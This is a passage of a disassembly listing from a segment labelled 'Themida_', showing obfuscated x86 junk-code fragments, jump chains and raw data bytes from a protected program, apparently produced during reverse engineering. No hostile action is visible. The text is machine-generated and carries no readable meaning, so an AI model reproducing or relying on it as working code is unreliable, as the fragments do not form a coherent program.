		dd 0F82827C7h, 79CCE95Bh, 0DF01FFFFh, 83241C8Bh, 0BA5204C4h
		dd 555444Dh, 0FFCB62E9h, 0D830ACFFh, 0FF2FF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B019:				; CODE XREF: Themida_:0056DD89j
		not	ebp
		inc	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3C38410Ch
		and	ebp, edi
		pop	edi
		or	ebp, 96A011Ch
		or	ebp, 110F436Dh
		jmp	loc_561D88
; ---------------------------------------------------------------------------
		dw 0A34h
		dd 8B58C300h, 0E957240Ch, 0FFFF675Fh
; ---------------------------------------------------------------------------


loc_56B04C:				; CODE XREF: Themida_:0056F13Cj
		push	ecx
		mov	ecx, 26A93675h
		jmp	loc_56A7CC
; ---------------------------------------------------------------------------
		db 89h
		dd 8F68243Ch, 5F117D28h, 0E908EFC1h, 0FFFFC070h, 0EBB6E956h
		dd 47BFFFFFh, 817D4464h, 0E87D61F7h, 0FC12E95Fh, 295BFFFFh
		dd 434BE9FEh, 0E956FFFFh, 0FFFF8928h, 241C875Ah, 0E924248Bh
		dd 0FFFF247Eh, 0A091E959h, 0F680FFFFh, 66CEFE91h, 0E9C1B151h
		dd 78C6h, 33241431h, 665C2414h,	50240C8Bh, 0FF6DF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B0BD:				; CODE XREF: Themida_:0055F20Bj
		push	esp
		jmp	loc_561488
; ---------------------------------------------------------------------------
		db 66h
		dd 2D66F801h, 0E95F788Ah, 0FFFF8DFEh
; ---------------------------------------------------------------------------


loc_56B0D0:				; CODE XREF: Themida_:00564570j
		pop	ebp
		or	ecx, 1D3B0DD5h
		push	642Ch
		mov	[esp], esi
		push	6E16h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_563723
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 0A604E900h, 0E953FFFFh, 0FFFF895Bh, 1E44F581h
		dd 0C5811A33h, 0B5ADAA9Dh, 4EC81h, 0B8E90000h, 81000009h
		dd 80D0E6C1h, 59CE214Ah, 5E515646h, 7330E9h, 4C48300h
		dd 6858E328h, 4A5Fh, 51241489h,	0C181E189h, 4, 4E981h
		dd 0C870000h, 0C7E95C24h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B15B:				; CODE XREF: Themida_:00572804j
		push	eax
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		not	eax
		push	esi
		push	eax
		pop	esi
		jmp	loc_571BB9
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0F0h
		dd 0E9699819h, 0FFFF6C50h, 240C8B66h, 703568h, 241C8900h
		dd 40AB68h, 2FA0E900h, 0E9410000h, 0FFFF8367h, 6425E951h
		dd 0CF80FFFFh, 2CEF80F0h, 0F8C280h, 0F8EA80FAh,	81241C8Bh
		dd 4C4h, 3EAC000h, 0F280CAFEh, 30E23064h, 0FEE230D4h, 885166C4h
		dd 88D488E1h, 0C8B66CAh, 2C48124h, 80000000h, 59E96AF2h
		dd 0AC00005Fh, 8904EC83h, 0E950240Ch, 0FFFF91ECh
; ---------------------------------------------------------------------------


loc_56B1E8:				; CODE XREF: Themida_:0056FF78j
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_56661F
; ---------------------------------------------------------------------------
a_psQ		db '_PИ╤Q',0
		db 0
; ---------------------------------------------------------------------------


loc_56B1FB:				; CODE XREF: Themida_:0057278Fj
		pop	ebx
		pop	dword ptr [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		jmp	loc_56B846
; ---------------------------------------------------------------------------


loc_56B20A:				; CODE XREF: Themida_:005681E4j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56FD4C
; ---------------------------------------------------------------------------
		db 0BFh
		dd 348F21F1h, 3C8BFB29h, 4C48324h, 15E4EB81h, 0C3016FF1h
		dd 15E4C381h, 9DE96FF1h, 8BFFFF6Ah, 0C481241Ch,	4, 7CB368h
		dd 243C8900h, 0DBBF5751h, 8957453Ch, 0CF895FF9h, 592434FFh
		dd 104C483h, 0D007E9FBh, 0C581FFFFh, 0AE1AE8D5h, 34FFEB89h
		dd 242C8B24h, 8304C483h, 0D82904C4h, 2404875Bh,	8924248Bh
		dd 4DE9241Ch, 89000002h, 4C281E2h, 81000000h, 4C2h, 24143300h
		dd 33241431h, 515C2414h, 0FF2399E9h, 46E959FFh,	89FFFF20h
		dd 4C681E6h, 83000000h,	343304EEh, 365CE924h, 15AFFFFh
		dd 3AE959CEh, 80000029h, 0EF80B0EFh, 86F78033h,	0EF80DFF6h
		dd 0EEE7E974h, 1C87FFFFh, 89575C24h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0C367E95Ch,	0F780FFFFh, 8BFC3061h
		dd 0C481241Ch, 4, 88E38853h, 48B5BDAh, 4C48324h, 0D000F02Ch
		dd 8092B551h, 0B050D0CDh, 4C8FEC7h, 34D0F6AFh, 58C530A8h
		dd 0C8BE800h, 4C48124h,	0FF000000h, 565A2434h, 0E952E689h
		dd 0FFFF21EDh, 10F468h,	24248900h, 4240481h, 5F000000h
		dd 4BB53h, 0C7810000h, 1BE73DB2h, 0EF81DF01h, 1BE73DB2h
		dd 4BD555Bh, 29000000h,	0EF52E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56658E
; ---------------------------------------------------------------------------
aQhenbgsS	db 'QhenbGИЛS',0
		db 0
; ---------------------------------------------------------------------------


loc_56B381:				; CODE XREF: Themida_:0056B554j
		mov	edi, 0EB92210h
		inc	edi
		jmp	loc_560424
; ---------------------------------------------------------------------------
		dd 0E9243487h, 0FFFF9304h, 4EC81h, 3C890000h, 2798E924h
		dd 3C8BFFFFh, 0CC47E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B3AA:				; CODE XREF: Themida_:005638F0j
		mov	ebx, edx
		jmp	loc_563740
; ---------------------------------------------------------------------------


loc_56B3B1:				; CODE XREF: Themida_:00566A87j
		add	esp, 4
		xor	ebx, eax
		push	6174h
		mov	[esp], eax
		jmp	loc_55FACA
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 7CF571EDh, 0FFED40E9h, 0EBB53FFh, 0E93D270Fh, 3000h
		dd 2414895Ch, 204968h, 48F5400h, 24048124h, 4, 5224148Bh
		dd 0FF4152E9h, 0E9F301FFh, 0FFFF8E7Ch, 4C3815Bh, 83000000h
		dd 0D4E904C3h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B40F:				; CODE XREF: Themida_:0056F787j
		pop	edi
		sub	ebx, 7A154DFAh
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	2C47h
		mov	[esp], eax
		jmp	loc_571104
; ---------------------------------------------------------------------------
		dd 3024248Bh, 0C0B60FC3h, 0FF8734FFh, 48B2434h,	0F223E924h
		dd 0C483FFFFh, 51526604h, 96B653B1h, 3059CE30h,	815A66F3h
		dd 2ECh, 0C896600h, 0FA99E924h,	0C281FFFFh, 13AF4EFBh
		dd 0EA81FA01h, 13AF4EFBh, 0FFE76DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B481:				; CODE XREF: Themida_:0056BDDBj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	808h
		mov	[esp], ebp
		mov	ebp, 340D0BF6h
		sub	ebp, 5A0B551Dh
		jmp	loc_569326
; ---------------------------------------------------------------------------


loc_56B4A2:				; CODE XREF: Themida_:0056DDF1j
		not	eax
		xor	eax, 58E8A040h
		jmp	loc_571534
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C3815Bh,	81000000h, 2C3h, 0EAE95300h, 0FFFFFF27h
		dd 0E9592434h, 42E0h, 241C8B54h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 565C243Ch, 765859BEh, 0C5E68161h,	55645312h
		dd 924160BDh, 49ED814Dh, 4D0B400Fh, 0C108E5C1h,	0C58107EDh
		dd 6BEB653Ch, 0BF20E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B512:				; CODE XREF: Themida_:0056973Ej
		xor	edi, 40400905h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55E98D
; ---------------------------------------------------------------------------


loc_56B52B:				; CODE XREF: Themida_:0055F5A1j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 77010159h
		push	edi
		jmp	loc_56B381
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 287FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B561:				; CODE XREF: Themida_:00561B1Fj
		push	edi
		mov	edi, esp
		jmp	loc_56ECAC
; ---------------------------------------------------------------------------


loc_56B569:				; CODE XREF: Themida_:00567E54j
		push	ecx
		mov	ch, dh
		mov	dh, ah
		mov	ah, ch
		jmp	loc_567040
; ---------------------------------------------------------------------------


loc_56B575:				; CODE XREF: Themida_:005648FCj
		xor	edx, 446D3C17h
		and	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 73D2798Fh
		jmp	loc_56FA70
; ---------------------------------------------------------------------------


loc_56B589:				; CODE XREF: Themida_:00561CF3j
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		push	edi
		jmp	loc_572809
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 6
		dd 0C75EB81h, 0BBE9817Fh, 81FFFF21h, 0E07F4C5h,	0D3C58173h
		dd 8148A10Bh, 0E818FDC5h, 81FD295Ch, 0E818FDEDh, 0D3ED815Ch
		dd 0E948A10Bh, 0FFFF46EEh, 7643B7BEh, 6EEC163h,	0FF8C52E9h
		dd 525B54FFh, 0F571F1BAh, 0FDD0E97Ch, 5E25FFFFh, 0D1169A60h
		dd 43548E8h, 0E9014520h, 0FFFFC95Ch
; ---------------------------------------------------------------------------


loc_56B608:				; CODE XREF: Themida_:0056DBABj
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_57267E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 4F685A24h, 89000070h, 0E389241Ch,	4EC81h
		dd 45E90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B63B:				; CODE XREF: Themida_:00560ACBj
		pop	ecx
		add	ecx, 457A3F9Ch
		jmp	loc_570270
; ---------------------------------------------------------------------------


loc_56B647:				; CODE XREF: Themida_:00567B64j
		pop	ebp
		jmp	loc_564848
; ---------------------------------------------------------------------------
		db 88h,	0C3h, 58h
		dd 8358665Ah, 148904ECh, 0D1B05024h, 196DE9h, 5DD1B800h
		dd 0C68920EDh, 0E924048Bh, 67Fh
; ---------------------------------------------------------------------------


loc_56B670:				; CODE XREF: Themida_:0056B7C9j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 48C13B20h
		add	esi, 67820CD0h
		add	esi, edx
		sub	esi, 67820CD0h
		pop	edx
		inc	esi
		neg	esi
		neg	esi
		jmp	loc_56819A
; ---------------------------------------------------------------------------
		dd 88240C89h, 1AFA68C1h, 0C890000h, 81E18924h, 4C1h, 4E98100h
		dd 51000000h, 42474FFh,	0FFC075E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B6B9:				; CODE XREF: Themida_:00565DE4j
		pop	edi
		jmp	loc_560CBE
; ---------------------------------------------------------------------------
		db 0BDh
		dd 79EF1DB2h, 15E9DDF7h, 81FFFFAAh, 0DEC886EFh,	50D7E9BCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B6D6:				; CODE XREF: Themida_:00566EB2j
		dec	edx
		sub	edx, 56302FF7h
		mov	edi, edx
		pop	edx
		mov	esi, edi
		jmp	loc_571077
; ---------------------------------------------------------------------------


loc_56B6E7:				; CODE XREF: Themida_:0056F2FBj
		xor	ebp, edx
		pop	edx
		xchg	esi, ebp
		not	esi
		jmp	loc_55DD2A
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0FF6CC5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B6FD:				; CODE XREF: Themida_:00567D18j
		inc	ebx
		jmp	loc_56C243
; ---------------------------------------------------------------------------


loc_56B703:				; CODE XREF: Themida_:00561D9Ej
		and	edi, 458A1E5Ch
		xor	edi, 1FF91B80h
		or	edi, 729332Ah
		sub	edi, 10F31C93h
		add	edi, 0F0F7DCDDh
		mov	ebx, edi
		jmp	loc_568909
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFF7D20h, 6804C483h, 25EAh, 54240C89h
		dd 0FF3B5DE9h, 6BA52FFh, 8750F272h, 31DBF7DAh, 31D331DAh
		dd 0FFBE56DAh, 90CA92Eh, 0EA815EF2h, 1,	5006C281h, 0ED815052h
		dd 6F7F6006h, 3C67ED81h, 0D50167FBh, 0FFC500E9h, 0E9C601FFh
		dd 0FFFF9FA9h, 0C3685152h, 59603022h, 0FF923BE9h, 48B66FFh
		dd 9A76824h, 2EE90000h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B79B:				; CODE XREF: Themida_:00563107j
		mov	edx, edi
		jmp	loc_5640F9
; ---------------------------------------------------------------------------
		dw 0CE29h
		dd 57240C8Bh, 2585E9h, 11F86800h, 2C890000h, 11D6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B7BA:				; CODE XREF: Themida_:005718AEj
		pop	ebx


loc_56B7BB:				; CODE XREF: Themida_:005604C4j
		push	ecx
		mov	ecx, esp
		jmp	loc_568DEF
; ---------------------------------------------------------------------------


loc_56B7C3:				; CODE XREF: Themida_:00570667j
		push	269A7C8Bh
		pop	esi
		jmp	loc_56B670
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E904EC83h, 0FFFFA74Eh
; ---------------------------------------------------------------------------


loc_56B7DC:				; CODE XREF: Themida_:005620C3j
		and	ebx, 79E21189h
		push	esi
		mov	esi, 5C260C9h
		neg	esi
		xor	esi, 0A0C3252h
		not	esi
		sub	esi, 0DB05D87Eh
		and	ebx, esi
		jmp	loc_564E38
; ---------------------------------------------------------------------------
aShso		db 'ShАo',0
		dd 24048900h, 28C4E9h, 51B2B100h, 1A87E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B816:				; CODE XREF: Themida_:0055EA35j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_571204
; ---------------------------------------------------------------------------
		db 1, 5Ch, 24h
		dd 246C8104h, 417D3904h, 62E0E95Fh, 0C2010000h,	2F03E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B846:				; CODE XREF: Themida_:0056B205j
		add	ebp, 0FFFFFFFFh
		jmp	loc_567093
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 7BEA3246h, 0E906E7C1h, 225Fh
; ---------------------------------------------------------------------------


loc_56B85C:				; CODE XREF: Themida_:0056254Ej
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_56A5DF
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 4BEh, 90EB8100h, 11E9218h, 90C381F3h, 5E1E9218h
		dd 3304C383h, 1C31241Ch, 241C3324h, 6624248Bh, 0E9E930FFh
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B897:				; CODE XREF: Themida_:0056DD66j
					; Themida_:0056F44Ej
		push	62FCh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_568CD0
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFB625E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B8C5:				; CODE XREF: Themida_:00565265j
		add	ebp, ecx
		jmp	loc_56003A
; ---------------------------------------------------------------------------


loc_56B8CC:				; CODE XREF: Themida_:005710B8j
		pop	esi


loc_56B8CD:				; CODE XREF: Themida_:0056D067j
					; Themida_:0056FBF8j
		push	5030h
		mov	[esp], ebp
		push	3E77h
		mov	[esp], ecx
		mov	ecx, ebx
		push	ecx
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		add	dword ptr [esp], 327627E7h
		jmp	loc_55DA96
; ---------------------------------------------------------------------------


loc_56B8F9:				; CODE XREF: Themida_:00561BB9j
		mov	[esp], eax
		mov	eax, 1DBB3F9Dh
		shl	eax, 4
		jmp	loc_56DADE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6C8CE281h, 81421F9Ah, 0B30618F2h, 0C3E28153h, 51418B2Eh
		dd 8F26856h, 0AFE97D2Ah, 50FFFF55h, 91591AB8h, 35D0F776h
		dd 0DDA8FA7Eh, 1ACE9h, 10500h, 83480000h, 77E904ECh, 66FFFF3Ch
		dd 6824048Bh, 2993h, 54240489h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 74A450A8h
		push	1B5Ch
		mov	[esp], edi
		mov	edi, 74A450ACh
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5655F4
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 89F7E951h, 0F329FFFFh, 81C3015Eh,	2C5779C3h, 91BBE929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B99E:				; CODE XREF: Themida_:0056625Dj
		pop	ebp
		jmp	loc_5630A9
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 5C9368h, 0ED4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B9B6:				; CODE XREF: Themida_:00567A9Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C3F2
; ---------------------------------------------------------------------------


loc_56B9CD:				; CODE XREF: Themida_:00563824j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		jmp	loc_5608FE
; ---------------------------------------------------------------------------
		dw 0F930h
		dd 5B2434FFh, 4C481h, 0B2520000h, 5D02E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B9F6:				; CODE XREF: Themida_:00570C9Aj
		xor	[esp+4], edx
		jmp	loc_55F9C0
; ---------------------------------------------------------------------------


loc_56B9FF:				; CODE XREF: Themida_:00560D17j
		sub	ebx, 1
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		push	eax
		push	eax
		mov	eax, esp
		jmp	loc_562BD8
; ---------------------------------------------------------------------------


loc_56BA11:				; CODE XREF: Themida_:0056AFD6j
		pop	edx
		push	edi
		mov	edi, 3AE260ABh
		and	edi, 121C0C33h
		shr	edi, 6
		jmp	loc_56F77F
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 8324348Bh, 0FF5204C4h, 5A042474h, 6A04E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BA39:				; CODE XREF: Themida_:0055DA97j
		sub	eax, 327627E7h
		jmp	loc_563CC1
; ---------------------------------------------------------------------------


loc_56BA43:				; CODE XREF: Themida_:0056A990j
		add	edi, 22E26E6Ah
		sub	edi, edx
		push	ebp
		mov	ebp, 22E26E6Ah
		jmp	loc_56FD6E
; ---------------------------------------------------------------------------
		dw 0F0BFh
		dd 811B8D24h, 0FE3582C7h, 0C1D7F75Fh, 0C78106EFh, 423158C3h
		dd 0E95FF801h, 0FFFFA39Ah, 72E99C51h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BA7B:				; CODE XREF: Themida_:005635B3j
		mov	esi, 4
		add	edx, 61376924h
		jmp	loc_56AD5E
; ---------------------------------------------------------------------------


loc_56BA8B:				; CODE XREF: Themida_:0056CF9Aj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_56A371
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 1FE92414h, 0B9000070h, 23546D24h, 0C8BCE01h,	4C48124h
		dd 1000000h, 24BF57C6h,	2923546Dh, 0F685FFEh, 89000025h
		dd 0EB82404h, 0D6ACD68h, 4AC6707Dh, 54DDB951h, 91E915A1h
		dd 89FFFFB6h, 0BB53242Ch, 55415B05h, 502BE9h, 8BC12900h
		dd 0C4832404h, 4A2CE904h, 5057FFFFh, 0FF4250E9h, 4B9FFh
		dd 4C010000h, 0E9590424h, 0FFFF7CC9h
; ---------------------------------------------------------------------------


loc_56BB0C:				; CODE XREF: Themida_:00564AC6j
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	eax, 30CD3CF2h
		sub	eax, edi
		add	eax, 30CD3CF2h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55E1F4
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 68C9h, 24148B5Fh, 0FF5362E9h, 2478BDFFh
		dd 0E5812AE8h, 585A25DEh, 2E83E94Dh, 83BB0000h,	0C164011Bh
		dd 0B9E903E3h, 5FFFF1Ah, 54A372E4h, 0D04E0C1h, 530478BDh
		dd 68h,	24042900h, 41685258h, 5A002007h, 2E254A05h, 0E9D02922h
		dd 0FFFF314Bh, 51B8B9h,	31C98127h, 8152051Bh, 0E127BDE9h
		dd 8BCE8961h, 0C481240Ch, 4, 895EF129h,	28E959CAh, 8100002Dh
		dd 4ECh, 0B879E900h, 2C8BFFFFh,	4C48124h, 5E000000h, 6859C831h
		dd 5C6Eh, 0E9243C89h, 0FFFF2758h, 2434FF54h, 4C48159h
		dd 68000000h, 19AAh, 0BF243C89h, 775E3E1Bh, 0A4ECF81h
		dd 0F7810BEEh, 4C7D1B09h, 0DCBD554Fh, 311B6D7Fh, 0B8505DEFh
		dd 784E6642h, 778D3540h, 0CC0D5CA9h, 35082A4Bh,	22AA0AF4h
		dd 0FF4352E9h, 2C483FFh, 0B6B65266h, 0F4E9h, 0D831AD00h
		dd 0DCE68h, 21E9E900h, 74FFFFFFh, 0E4E90424h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC53:				; CODE XREF: Themida_:0055DE2Ej
		push	edx
		mov	edx, 4B4743A9h
		xor	edx, 396D31F9h
		jmp	loc_5641D7
; ---------------------------------------------------------------------------


loc_56BC64:				; CODE XREF: Themida_:00561649j
		xor	bh, ah
		xor	ah, bh
		not	bh
		push	edx
		mov	dl, bh
		jmp	loc_568598
; ---------------------------------------------------------------------------


loc_56BC72:				; CODE XREF: Themida_:005611AAj
		shr	ebx, 4
		xor	ebx, 653DA042h
		add	edi, ebx
		jmp	loc_568572
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 68A80292h, 1BE9D729h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56BC8F:				; CODE XREF: Themida_:0055FE6Fj
		dec	esi
		or	esi, 4B713272h
		dec	esi
		neg	esi
		add	esi, 0C241C0C1h
		jmp	loc_5689DF
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 81E68924h, 4C6h, 4C68300h, 5C243487h
		dd 5C96C381h, 0EBD1235Ah, 4C13EB81h, 0EB811E51h, 0BC4339B4h
		dd 0FF2BC9E9h, 242C31FFh, 5C242C33h, 0EE81DE01h, 326849F2h
		dd 83241C8Bh, 0BE904C4h, 81000061h, 4C4h, 5EF32900h, 0A1E95659h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BCFF:				; CODE XREF: Themida_:0055DC93j
		mov	eax, esi
		pop	esi
		add	eax, 137E05D3h
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56E3D6
; ---------------------------------------------------------------------------
		dd 345DD05h, 58C20930h,	5006E2C1h, 0BD4AE7B8h, 58C20179h
		dd 0FFC162E9h, 60B652FFh, 45E9F500h, 66FFFF1Dh,	8950D829h
		dd 405E0h, 22D0000h, 81000000h,	4ECh, 24048900h, 42474FFh
		dd 8324048Bh, 48F04C4h,	89665C24h, 0CDE9241Ch
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BD6B:				; CODE XREF: Themida_:005706A8j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56D205
; ---------------------------------------------------------------------------
		dd 93E95E66h, 58FFFF93h, 3843E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BD91:				; CODE XREF: Themida_:005722ABj
		mov	esi, 3EA407C8h
		dec	esi
		push	eax
		mov	eax, 5907293Ch
		shr	eax, 3
		sub	eax, 0EC26AA9Dh
		and	esi, eax
		pop	eax
		jmp	loc_55E590
; ---------------------------------------------------------------------------


loc_56BDAD:				; CODE XREF: Themida_:0056414Ej
		xchg	ah, [esp]
		not	ah
		xchg	ah, [esp]
		pop	edx
		sub	dl, 0FFh
		not	dl
		add	dl, 23h
		add	al, 0ABh
		sub	al, 0C4h
		sub	al, dl
		add	al, 0C4h
		jmp	loc_562A0A
; ---------------------------------------------------------------------------


loc_56BDCB:				; CODE XREF: Themida_:00568F9Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_56B481
; ---------------------------------------------------------------------------


loc_56BDE0:				; CODE XREF: Themida_:00563B0Cj
		pop	ebp
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_571C28
; ---------------------------------------------------------------------------
		dd 405h, 42D00h, 4870000h, 0F5D6E924h, 80B5FFFFh, 0E800C504h
		dd 8071B151h, 0E9C0EFE9h, 0FEC9FE05h, 80C9FEC1h, 0C8283EE9h
		dd 240C8B59h, 4C481h, 0EC830000h, 24148904h, 0E2D059B2h
		dd 455768h, 241C8900h, 88B8B151h, 240C8BCFh, 0FFA9BFE9h
		dd 5FF901FFh, 0FF7221E9h, 24048BFFh, 515E5456h,	4B9h, 8BCE0100h
		dd 0C481240Ch, 4, 8704C683h, 248B2434h,	7367E924h, 2C89FFFFh
		dd 16685224h, 0FF346901h, 835A2434h, 514204C4h,	67113DB9h
		dd 2BC18101h, 0E9754448h, 0FFFFD06Dh
; ---------------------------------------------------------------------------


loc_56BE98:				; CODE XREF: Themida_:00560056j
		add	dl, 0CCh
		sub	dl, ch
		sub	dl, 0CCh
		jmp	loc_570C2B
; ---------------------------------------------------------------------------
		db 0B8h, 75h, 74h
		dd 0C3092F84h, 81DBF758h, 210185EBh, 0E9DD2950h, 0FFFF347Ch
; ---------------------------------------------------------------------------


loc_56BEBC:				; CODE XREF: Themida_:0056A5AAj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		push	ebx
		mov	ebx, 34651822h
		jmp	loc_569F6B
; ---------------------------------------------------------------------------


loc_56BED1:				; CODE XREF: Themida_:00566DABj
		add	ebp, 2C350547h
		dec	ebp
		xor	ebp, 40A5644Ch
		jmp	loc_56F52C
; ---------------------------------------------------------------------------


loc_56BEE3:				; CODE XREF: Themida_:0056FF50j
		xchg	ecx, edx
		neg	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		jmp	loc_56F486
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 4CBBC281h, 0E9573B3Ah, 0FFFF73CBh
; ---------------------------------------------------------------------------


loc_56BF00:				; CODE XREF: Themida_:0055D324j
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 6C0F1F8Ah
		xor	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0AB02959h
		push	ebp
		jmp	loc_564569
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 865E9h, 0D830AC00h, 687E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BF35:				; CODE XREF: Themida_:0055D5F8j
		push	ebx
		jmp	loc_569FBF
; ---------------------------------------------------------------------------


loc_56BF3B:				; CODE XREF: Themida_:00561368j
		push	ebx
		mov	ebx, 4E4C2DA0h
		or	ebx, 31873009h
		neg	ebx
		jmp	loc_564B86
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 56BE5658h, 0D1018773h,	9CC681E6h, 0F736D02Fh
		dd 45FA68D6h, 0C890000h, 3AC9B924h, 0CE014E73h,	84C68159h
		dd 1EB6BDBh, 24348BF0h,	5504C483h, 28F2E9h, 1BF00h, 0F9290000h
		dd 0A5E9515Fh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BF9B:				; CODE XREF: Themida_:0056F967j
		mov	ebx, 5E0C4983h
		jmp	loc_560C3E
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 51h
		dd 4B9h, 342BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BFB2:				; CODE XREF: Themida_:0056C231j
		pop	edi
		jmp	loc_55EDD0
